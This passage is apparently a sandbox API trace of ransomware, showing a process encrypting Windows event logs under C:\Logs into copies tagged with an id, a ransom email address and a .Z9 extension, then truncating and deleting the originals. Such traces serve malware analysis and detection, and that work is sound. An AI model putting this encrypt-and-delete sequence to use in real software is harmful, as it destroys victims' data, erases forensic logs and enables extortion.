	[0083.364] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.364] SetEndOfFile (hFile=0x358) returned 1
	[0083.365] CloseHandle (hObject=0x358) returned 1
	[0083.366] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.366] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1
	[0083.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.366] lstrlenW (lpString=".doc") returned 4
	[0083.366] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.366] lstrlenW (lpString=".docx") returned 5
	[0083.366] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.366] lstrlenW (lpString=".pdf") returned 4
	[0083.366] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.366] lstrlenW (lpString=".xls") returned 4
	[0083.366] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.366] lstrlenW (lpString=".xlsx") returned 5
	[0083.366] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.366] lstrlenW (lpString=".ppt") returned 4
	[0083.366] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.367] lstrlenW (lpString=".zip") returned 4
	[0083.367] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.367] lstrlenW (lpString=".rar") returned 4
	[0083.367] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.367] lstrlenW (lpString=".bz2") returned 4
	[0083.367] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.367] lstrlenW (lpString=".7z") returned 3
	[0083.367] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.367] lstrlenW (lpString=".dbf") returned 4
	[0083.367] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.367] lstrlenW (lpString=".1cd") returned 4
	[0083.367] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.367] lstrlenW (lpString=".jpg") returned 4
	[0083.367] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.367] lstrlenW (lpString=".doc") returned 4
	[0083.367] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.367] lstrlenW (lpString=".docx") returned 5
	[0083.367] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.367] lstrlenW (lpString=".pdf") returned 4
	[0083.367] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.367] lstrlenW (lpString=".xls") returned 4
	[0083.367] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.367] lstrlenW (lpString=".xlsx") returned 5
	[0083.367] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.367] lstrlenW (lpString=".ppt") returned 4
	[0083.367] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.367] lstrlenW (lpString=".zip") returned 4
	[0083.368] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.368] lstrlenW (lpString=".rar") returned 4
	[0083.368] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.368] lstrlenW (lpString=".bz2") returned 4
	[0083.368] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.368] lstrlenW (lpString=".7z") returned 3
	[0083.368] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.368] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.368] lstrlenW (lpString=".dbf") returned 4
	[0083.368] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.368] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.368] lstrlenW (lpString=".1cd") returned 4
	[0083.368] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.368] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0083.368] lstrlenW (lpString=".jpg") returned 4
	[0083.368] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.368] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.368] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57
	[0083.368] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0083.368] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0083.368] CloseHandle (hObject=0x358) returned 1
	[0083.369] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20
	[0083.369] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.369] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0083.369] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.369] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.369] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0083.370] GetLastError () returned 0x0
	[0083.370] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.372] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.374] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.374] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x146, lpOverlapped=0x0) returned 1
	[0083.374] SetEndOfFile (hFile=0x338) returned 1
	[0083.375] CloseHandle (hObject=0x338) returned 1
	[0083.376] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.376] SetEndOfFile (hFile=0x358) returned 1
	[0083.378] CloseHandle (hObject=0x358) returned 1
	[0083.378] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.378] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1
	[0083.378] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0083.378] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0083.378] lstrlenW (lpString=".doc") returned 4
	[0083.378] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.378] lstrlenW (lpString=".docx") returned 5
	[0083.378] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.378] lstrlenW (lpString=".pdf") returned 4
	[0083.378] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.378] lstrlenW (lpString=".xls") returned 4
	[0083.378] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.378] lstrlenW (lpString=".xlsx") returned 5
	[0083.378] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.378] lstrlenW (lpString=".ppt") returned 4
	[0083.378] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0083.379] lstrlenW (lpString=".zip") returned 4
	[0083.379] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.379] lstrlenW (lpString=".rar") returned 4
	[0083.379] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.379] lstrlenW (lpString=".bz2") returned 4
	[0083.379] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.379] lstrlenW (lpString=".7z") returned 3
	[0083.379] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0083.379] lstrlenW (lpString=".dbf") returned 4
	[0083.379] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0083.379] lstrlenW (lpString=".1cd") returned 4
	[0083.379] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0083.379] lstrlenW (lpString=".jpg") returned 4
	[0083.379] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0083.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0083.379] lstrlenW (lpString=".doc") returned 4
	[0083.379] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.379] lstrlenW (lpString=".docx") returned 5
	[0083.379] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.379] lstrlenW (lpString=".pdf") returned 4
	[0083.379] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.379] lstrlenW (lpString=".xls") returned 4
	[0083.379] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.379] lstrlenW (lpString=".xlsx") returned 5
	[0083.379] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.379] lstrlenW (lpString=".ppt") returned 4
	[0083.379] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0083.380] lstrlenW (lpString=".zip") returned 4
	[0083.380] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.380] lstrlenW (lpString=".rar") returned 4
	[0083.380] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.380] lstrlenW (lpString=".bz2") returned 4
	[0083.380] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.380] lstrlenW (lpString=".7z") returned 3
	[0083.380] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0083.380] lstrlenW (lpString=".dbf") returned 4
	[0083.380] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0083.380] lstrlenW (lpString=".1cd") returned 4
	[0083.380] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0083.380] lstrlenW (lpString=".jpg") returned 4
	[0083.380] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.380] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.380] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44
	[0083.380] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0083.380] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0083.380] CloseHandle (hObject=0x358) returned 1
	[0083.381] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20
	[0083.381] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.381] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0083.381] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.381] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.381] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0083.385] GetLastError () returned 0x0
	[0083.385] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.388] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.390] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.390] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x12c, lpOverlapped=0x0) returned 1
	[0083.390] SetEndOfFile (hFile=0x338) returned 1
	[0083.390] CloseHandle (hObject=0x338) returned 1
	[0083.392] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.392] SetEndOfFile (hFile=0x358) returned 1
	[0083.394] CloseHandle (hObject=0x358) returned 1
	[0083.394] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.394] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1
	[0083.394] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0083.394] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0083.394] lstrlenW (lpString=".doc") returned 4
	[0083.394] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.394] lstrlenW (lpString=".docx") returned 5
	[0083.394] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.394] lstrlenW (lpString=".pdf") returned 4
	[0083.394] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.394] lstrlenW (lpString=".xls") returned 4
	[0083.394] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.394] lstrlenW (lpString=".xlsx") returned 5
	[0083.395] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.395] lstrlenW (lpString=".ppt") returned 4
	[0083.395] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0083.395] lstrlenW (lpString=".zip") returned 4
	[0083.395] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.395] lstrlenW (lpString=".rar") returned 4
	[0083.395] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.395] lstrlenW (lpString=".bz2") returned 4
	[0083.395] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.395] lstrlenW (lpString=".7z") returned 3
	[0083.395] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0083.395] lstrlenW (lpString=".dbf") returned 4
	[0083.395] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0083.395] lstrlenW (lpString=".1cd") returned 4
	[0083.395] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0083.395] lstrlenW (lpString=".jpg") returned 4
	[0083.395] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0083.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0083.395] lstrlenW (lpString=".doc") returned 4
	[0083.395] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.395] lstrlenW (lpString=".docx") returned 5
	[0083.395] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.395] lstrlenW (lpString=".pdf") returned 4
	[0083.395] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.395] lstrlenW (lpString=".xls") returned 4
	[0083.395] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.395] lstrlenW (lpString=".xlsx") returned 5
	[0083.395] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.396] lstrlenW (lpString=".ppt") returned 4
	[0083.396] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0083.396] lstrlenW (lpString=".zip") returned 4
	[0083.396] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.396] lstrlenW (lpString=".rar") returned 4
	[0083.396] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.396] lstrlenW (lpString=".bz2") returned 4
	[0083.396] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.396] lstrlenW (lpString=".7z") returned 3
	[0083.396] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0083.396] lstrlenW (lpString=".dbf") returned 4
	[0083.396] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0083.396] lstrlenW (lpString=".1cd") returned 4
	[0083.396] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0083.396] lstrlenW (lpString=".jpg") returned 4
	[0083.396] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.396] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.727] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48
	[0083.727] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0083.727] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1052672) returned 1
	[0083.727] CloseHandle (hObject=0x37c) returned 1
	[0083.727] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20
	[0083.727] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.727] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0083.727] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.728] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.728] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.728] GetLastError () returned 0x0
	[0083.728] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0083.749] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0083.766] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0084.238] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0084.249] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.249] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x134, lpOverlapped=0x0) returned 1
	[0084.249] SetEndOfFile (hFile=0x370) returned 1
	[0084.249] CloseHandle (hObject=0x370) returned 1
	[0084.270] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.270] SetEndOfFile (hFile=0x37c) returned 1
	[0084.272] CloseHandle (hObject=0x37c) returned 1
	[0084.272] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.272] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1
	[0084.272] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
